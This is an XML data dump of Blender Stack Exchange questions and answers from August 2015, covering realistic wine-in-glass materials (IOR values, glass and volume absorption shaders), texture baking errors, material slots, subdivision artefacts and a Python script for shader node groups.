  <row Id="35726" PostTypeId="1" AcceptedAnswerId="35732" CreationDate="2015-08-14T15:53:47.210" Score="23" ViewCount="27279" Body="&lt;p&gt;I am at beginner level. One of the projects I am doing is to create a glass with fluid. Like a glass of water or a glass of wine. Now I can find quite some tutorials on how to create the glass, but very few if any on how to create the fluid (with a realistic result). I am not looking for fluid simulations (like the water /wine flowing into the glass) but  to get something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KzPSy.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KzPSy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is not (only) about modelling the fluid, but especially how make the fluid look realistic colours, transparency, specularity, dark/light colours etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I should have mentioned that I am watching &lt;a href=&quot;https://www.youtube.com/watch?v=gciMT72M1wY&amp;amp;index=8&amp;amp;list=PL98B6814E78D30D48&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; tutorial. Somehow I feel that all those manipulations shown there (using Blender Render) are not fully covered within Cycles Render. &lt;/p&gt;&#xA;" OwnerUserId="13877" LastEditorUserId="13877" LastEditDate="2015-08-15T13:49:48.877" LastActivityDate="2021-04-20T17:37:07.217" Title="fluid in a glass" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;geometry&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="22" ContentLicense="CC BY-SA 3.0" />
  <row Id="35727" PostTypeId="1" CreationDate="2015-08-14T16:38:14.743" Score="7" ViewCount="11655" Body="&lt;p&gt;I'm getting this error when I try to bake textures on my model. It says &quot;Circular reference in texture stack&quot;. I found some info on the net. It says I should disable a texture in the texture stack so Blender won't write the texture on itself. But I don't have any textures in the texture stack. I only have simple materials, no image textures. I'm using Blender Internal, 2.75a. So what should I do to bake the materials into textures? I'm attaching 2 screenshots. The texture is rendered partially, I don't know why. There should be more green and also white (there are two materials on the object, green and white), but it stopped halfway. Also note: I did make an empty image for each UV I unwrapped, before baking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LMksv.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LMksv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bSiRs.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bSiRs.jpg&quot; alt=&quot;http://imgur.com/bAVLm5F&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16239" LastEditorUserId="241" LastEditDate="2015-08-14T16:44:36.777" LastActivityDate="2019-08-30T13:24:44.047" Title="Baking textures: Circular Reference in texture stack error" Tags="&lt;texture-baking&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35728" PostTypeId="1" AcceptedAnswerId="35730" CreationDate="2015-08-14T17:14:23.037" Score="2" ViewCount="98" Body="&lt;p&gt;I am experimenting with material in the blender render engine and i can't seem to figure out the real difference between the two '+' signs when adding materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;heres and image.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VVn2w.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VVn2w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15133" LastEditorUserId="15133" LastEditDate="2015-08-14T17:21:21.580" LastActivityDate="2015-08-14T17:33:57.327" Title="what is the difference between the two plus signs when adding a material with the blender render engine?" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35729" PostTypeId="2" ParentId="35677" CreationDate="2015-08-14T17:18:21.543" Score="2" Body="&lt;p&gt;Ok so I figured out a solution thanks to @Carlo's comment. Hopefully this will help anyone else who's trying to do something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create one node group per object type that has a default color, and accepts one input: transparency. The node group itself is basically a mixer between Diffuse bsdf and transparent bsdf shaders. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each object of that type has it's own material which basically links the node group with the material output. I can then keyframe the opacity on each material independently, but still maintain the ability to change the color collectively for the type by changing the node group color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I am scripting this, I am not worried about having to keyframe 5000+ objects. I came up with the following functions: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# create_node_group - Creates a node group&#xA;# for a particle type with a default color.&#xA;def create_node_group(name, color):&#xA;    group = bpy.data.node_groups.new(name, 'ShaderNodeTree')&#xA;&#xA;    # Create node group input.&#xA;    inputs = group.nodes.new('NodeGroupInput')&#xA;    inputs.location = (-300, 0)&#xA;&#xA;    # Create diffuse shader.&#xA;    diffuse = group.nodes.new('ShaderNodeBsdfDiffuse')&#xA;    diffuse.location = (0, -200)&#xA;    diffuse.inputs[0].default_value = (color[0], color[1], color[2], 1)&#xA;&#xA;    # Create transparent shader.&#xA;    transparent = group.nodes.new('ShaderNodeBsdfTransparent')&#xA;    transparent.location = (0, -400)&#xA;&#xA;    # Create shader mixer.&#xA;    mixer = group.nodes.new('ShaderNodeMixShader')&#xA;    mixer.location = (200, 0)&#xA;&#xA;    # Create node group output.&#xA;    outputs = group.nodes.new('NodeGroupOutput')&#xA;    outputs.location = (350, 0)&#xA;&#xA;    # Create input and output sockets.&#xA;    group.inputs.new('NodeSocketFloat', 'Transparency')&#xA;    group.outputs.new('NodeSocketShader', 'Shader')&#xA;&#xA;    # Link everything together.&#xA;    group.links.new(inputs.outputs[0], mixer.inputs[0])&#xA;    group.links.new(diffuse.outputs[0], mixer.inputs[1])&#xA;    group.links.new(transparent.outputs[0], mixer.inputs[2])&#xA;    group.links.new(mixer.outputs[0], outputs.inputs[0])&#xA;&#xA;    return group&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above function creates the node group and returns a reference to it. I then use the function below to create a material for each object in my scene, which calls the function above. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# create_material - Creates a material with a color&#xA;# for the group (if not created already). Name and&#xA;# group name should typically be the same.&#xA;def create_material(name, group_name, color):&#xA;    group = bpy.data.node_groups.get(group_name)&#xA;    if group is None:&#xA;        group = create_node_group(group_name, color)&#xA;&#xA;    mat = bpy.data.materials.new(name)&#xA;    mat.use_nodes = True&#xA;&#xA;    for node in mat.node_tree.nodes:&#xA;        mat.node_tree.nodes.remove(node)&#xA;&#xA;    mgroup = mat.node_tree.nodes.new('ShaderNodeGroup')&#xA;    mgroup.node_tree = group&#xA;&#xA;    outmat = mat.node_tree.nodes.new('ShaderNodeOutputMaterial')&#xA;    outmat.location = (200, 0)&#xA;&#xA;    mat.node_tree.links.new(mgroup.outputs[0], outmat.inputs[0])&#xA;    return mat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, if I want to change the opacity of an object, I simply call this small function: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# set_transparency - Set the transparency of an object.&#xA;def set_transparency(ob, val):&#xA;    mat = ob.data.materials[0]&#xA;    mat.node_tree.nodes[&quot;Group&quot;].inputs[0].default_value = val&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This may not be the best solution, but it works for me, and hopefully it will help others in a similar situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16402" LastActivityDate="2015-08-14T17:18:21.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35730" PostTypeId="2" ParentId="35728" CreationDate="2015-08-14T17:28:46.213" Score="3" Body="&lt;p&gt;One adds a new &lt;em&gt;material&lt;/em&gt; (copying the current material):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/49rdK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/49rdK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will replace the material in the active slot. The first material will still exist (and can be added to an object or objects), at least until the .blend is closed. Then unused datablocks are cleaned up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other adds a new material &lt;em&gt;slot&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bbQol.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bbQol.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material slots are places where other materials can be added to the same object data.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-08-14T17:33:57.327" LastActivityDate="2015-08-14T17:33:57.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35731" PostTypeId="2" ParentId="35726" CreationDate="2015-08-14T17:39:44.727" Score="8" Body="&lt;p&gt;A couple of things to pay attention to with fluid regarding materials is the IOR (Index of Refraction). You can use a Glass Shader for most liquids. For something like milk you'll want an SSS Shader (Sub-Surface Scattering). For something like wine though, go with a Glass Shader. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Water has an IOR of 1.33 and that number is worth committing to memory (it varies slightly depending on the temperature.) &lt;a href=&quot;http://forums.cgsociety.org/archive/index.php?t-513458.html&quot; rel=&quot;noreferrer&quot;&gt;Here&lt;/a&gt; is a list of IOR values of common liquids. Wine is not on that list but other alcohols like Vodka (1.363) and Whisky (1.356) are, so my first thought was to use a value in the 1.35~1.36 range and call it close enough... but then I decided to search &quot;red wine IOR&quot; and I found a super-detailed article on the optical properties of red wine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a chart:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OBxea.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OBxea.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ajevonline.org/content/58/3/387/T1.expansion.html&quot; rel=&quot;noreferrer&quot;&gt;Original URL of the chart is here.&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.ajevonline.org/content/58/3/387.full&quot; rel=&quot;noreferrer&quot;&gt;Full article URL is here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, the average Index of Refraction of red wine is about 1.345, so you can use that, or any of the IOR values from the samples on that chart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IOR is not something to obsess over, but since you can usually find the IOR values for many common materials with some quick searching I find it's best to just look it up, plug in the number, and then move on to tweak the color and other properties of your liquid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you might try is using a Volume Absorption Shader in conjunction with your Glass Shader to make your wine look thicker where it is denser. Red wine has sediment, so it will be a much deeper red the further in you go. A Volume Absorption Shader can help you get this look. Play with the &quot;Density&quot; value until you get something that looks right to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DVoeX.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DVoeX.png&quot; alt=&quot;Red wine material with volume&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I realize you're not planning to do any fluid simulation, but I'll leave these two fluid sim tutorial links up for anyone who is interested:&#xA;&lt;a href=&quot;http://www.blenderguru.com/tutorials/create-a-realistic-water-simulation/&quot; rel=&quot;noreferrer&quot;&gt;1,&lt;/a&gt; &lt;a href=&quot;http://www.blenderguru.com/tutorials/introduction-to-the-fluid-simulator/&quot; rel=&quot;noreferrer&quot;&gt;2.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-08-14T18:50:42.520" LastActivityDate="2015-08-14T18:50:42.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35732" PostTypeId="2" ParentId="35726" CreationDate="2015-08-14T17:41:33.540" Score="12" Body="&lt;p&gt;You may do it using the &lt;strong&gt;&lt;em&gt;Glass&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;Layer Weight&lt;/em&gt;&lt;/strong&gt; nodes.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8OyMw.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8OyMw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Model a fluid (see Carlo's link in his comment) and assign a new material to it.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/sDCOR.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sDCOR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up its material nodes as pictured below. After adding a &lt;em&gt;Glass&lt;/em&gt; node set its &lt;em&gt;Roughness&lt;/em&gt; to 0 and change the &lt;em&gt;IOR&lt;/em&gt; value to something about 1.300-1.333. Adjust a &lt;em&gt;Blend&lt;/em&gt; factor of a &lt;strong&gt;&lt;em&gt;Layer Weight&lt;/em&gt;&lt;/strong&gt; node for a different result (different blending between colors).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/f3j5U.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f3j5U.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I set a simple color for a background here. To make it look more realistic use a HDRI image for a background.&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-14T18:18:05.140" LastActivityDate="2015-08-14T18:18:05.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35733" PostTypeId="1" AcceptedAnswerId="35736" CreationDate="2015-08-14T18:02:51.677" Score="3" ViewCount="1209" Body="&lt;p&gt;Why is this happening when I add a Subdivision Surface Modifier, and why exactly at those spots, all edges seem equal to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nP4lt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nP4lt.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16420" LastEditorUserId="2217" LastEditDate="2015-08-14T20:46:37.800" LastActivityDate="2015-08-14T20:46:37.800" Title="Subdivision Surface Modifier destroys certain faces" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;faces&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35734" PostTypeId="1" CreationDate="2015-08-14T18:09:27.297" Score="3" ViewCount="2172" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dln7t.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dln7t.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An animation of an object appears under something small or invisible to camera&lt;/p&gt;&#xA;" OwnerUserId="7894" LastEditorDisplayName="user1853" LastEditDate="2015-08-16T01:43:40.877" LastActivityDate="2016-08-01T03:37:22.293" Title="How to animate text being revealed on the screen" Tags="&lt;animation&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35735" PostTypeId="2" ParentId="35733" CreationDate="2015-08-14T18:25:15.997" Score="0" Body="&lt;p&gt;Select the edge which seem to have deleted faces around and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;  To increase the crease, this should solve the problem.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-14T18:25:15.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35736" PostTypeId="2" ParentId="35733" CreationDate="2015-08-14T18:38:16.790" Score="4" Body="&lt;p&gt;I think you will find the reason for this, is that the vertices are not actually attached. In edit mode, go to vertex selection mode, and press spacebar, type &quot;remove doubles&quot; and click the remove doubles operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that does not work out, do what you can to investigate where vertices do not actually connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also keep in mind that subdivision modifier works best with quads. You may want to do your best to convert those triangle faces to quad faces.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-08-14T18:38:16.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35737" PostTypeId="1" AcceptedAnswerId="35748" CreationDate="2015-08-14T18:45:32.083" Score="8" ViewCount="2966" Body="&lt;p&gt;What is the difference between the two options provided when creating a material while using the blender render engine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;heres an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OLPlV.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OLPlV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15133" LastActivityDate="2015-08-15T05:58:31.363" Title="What is the is the difference between object and data link for while creating materials?" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35738" PostTypeId="1" AcceptedAnswerId="36309" CreationDate="2015-08-14T19:03:06.263" Score="1" ViewCount="4118" Body="&lt;p&gt;I am currently using the blender render engine and i have a mesh with an UV image texture, but i don't want it anymore. How can i remove it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jEmyu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jEmyu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15133" LastActivityDate="2017-01-04T11:02:30.073" Title="how can i remove the current UV image texture off a mesh?" Tags="&lt;materials&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35739" PostTypeId="1" CreationDate="2015-08-14T19:13:41.817" Score="1" ViewCount="53" Body="&lt;p&gt;should i apply scale when adding a UV texture to a mesh? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i don't, will the distortion of my uv texture be the only consequence of not doing so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="15133" LastActivityDate="2015-08-14T19:13:41.817" Title="Apply scale when adding UV texture, why? why not?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35740" PostTypeId="2" ParentId="35734" CreationDate="2015-08-14T19:20:39.153" Score="8" Body="&lt;p&gt;From my experience text objects do not work very well with booleans (due to some letters in some fonts being non-manifold).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a method that can be adapted to work on anything:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You need to create a gradient mask for your material that will &quot;stay static&quot; despite the object movement (you do that by using &lt;em&gt;object&lt;/em&gt; mapping and adding/subtracting the object's position from it):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4syVK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4syVK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;link to full image&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great thing about a mask is that it can be faded on the interface.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;em&gt;Add node&lt;/em&gt; is just driven by the text &lt;code&gt;position.x&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The mask is used to mix &lt;em&gt;Transparent&lt;/em&gt; and any other shader. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you need to place such &lt;em&gt;Text&lt;/em&gt; somewhere you need to parent it to something first and move it through parent.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Zcvk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the blend file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/417/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=417&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-08-14T19:20:39.153" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35741" PostTypeId="2" ParentId="35726" CreationDate="2015-08-14T19:31:08.177" Score="18" Body="&lt;p&gt;For any situation with multiple refracting materials that come into contact, it's important to set up the geometry to correctly simulate the interfaces between the glass and liquid. See &lt;a href=&quot;https://blender.stackexchange.com/q/2823/599&quot;&gt;Liquid / glass interface IOR and normals in Cycles&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Geometry&lt;/h1&gt;&#xA;&lt;p&gt;To summarize the &lt;a href=&quot;https://blender.stackexchange.com/q/2823/599&quot;&gt;post linked above&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Instead of thinking in terms of &lt;em&gt;materials&lt;/em&gt;, think in terms of &lt;em&gt;interfaces&lt;/em&gt;. In your setup, there are three interfaces:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Glass to air&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wine to air&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Glass to wine&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The ordering depends on the direction the normals of the faces making up an interface are pointing. For example, the way I setup the scene the normals of the glass &amp;gt; wine interface pointed from glass to wine. So for that interface, the IOR should be &lt;code&gt;glass IOR / wine IOR&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Create materials for each interface and set their IORs appropriately. The IOR of air is &lt;code&gt;1&lt;/code&gt;, so division is unnecessary for the air interfaces.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;For the glass &amp;gt; air material, you'll want to set the &lt;a href=&quot;https://en.wikipedia.org/wiki/Refractive_index&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Index of Refraction&lt;/em&gt;&lt;/a&gt; to something like 1.45 or 1.5 (the IORs of different kinds of glass vary quite a bit).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For the wine &amp;gt; air material, you'll want to set the &lt;a href=&quot;https://en.wikipedia.org/wiki/Refractive_index&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Index of Refraction&lt;/em&gt;&lt;/a&gt; to something around the &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_refractive_indices&quot; rel=&quot;nofollow noreferrer&quot;&gt;IOR of water&lt;/a&gt; (&lt;code&gt;~1.33&lt;/code&gt; at 20° C).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Provided your normals are pointing from glass to wine, the IOR for this material should be &lt;code&gt;1.09&lt;/code&gt; (I originally had the wrong number, please ignore the .917 in the gif).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/172cQ.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/172cQ.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Material&lt;/h1&gt;&#xA;&lt;p&gt;The darkening around the edges of the wine is caused by &lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Absorption_%28electromagnetic_radiation%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;absorption&lt;/a&gt;&lt;/em&gt;.&#xA;Due to the way light refracts through the glass and the wine, light must pass through more wine near the apparent edges of the glass. This means more light will be absorbed, and less light will reach the camera, making the wine appear darker.&lt;/p&gt;&#xA;&lt;p&gt;To simulate this, add a &lt;em&gt;Volume Absorption&lt;/em&gt; node and plug it into the &lt;em&gt;Volume&lt;/em&gt; output:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vdFEH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vdFEH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that the amount of absorption will depend on the size of your object as well as the density, so it may take some fiddling to find values you like.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/416/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=416&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jKpgE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jKpgE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2021-04-20T17:37:07.217" LastActivityDate="2021-04-20T17:37:07.217" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="35745" PostTypeId="1" CreationDate="2015-08-14T20:10:05.200" Score="3" ViewCount="56" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jREkr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jREkr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nNSo7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nNSo7.png&quot; alt=&quot;material texture issue&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;Brand new blender user with no experience, trying to map a texture to a single side of a cube for an animation. I am having an issue where the black areas of the image end up looking white when applied to the object. The preview of the texture looks correct, but the material preview, as well as the actual render do not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried messing with all the settings, but no luck. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="16423" LastEditorUserId="2217" LastEditDate="2015-08-14T20:48:20.743" LastActivityDate="2015-08-14T20:48:20.743" Title="Color Issue when texturing a surface" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
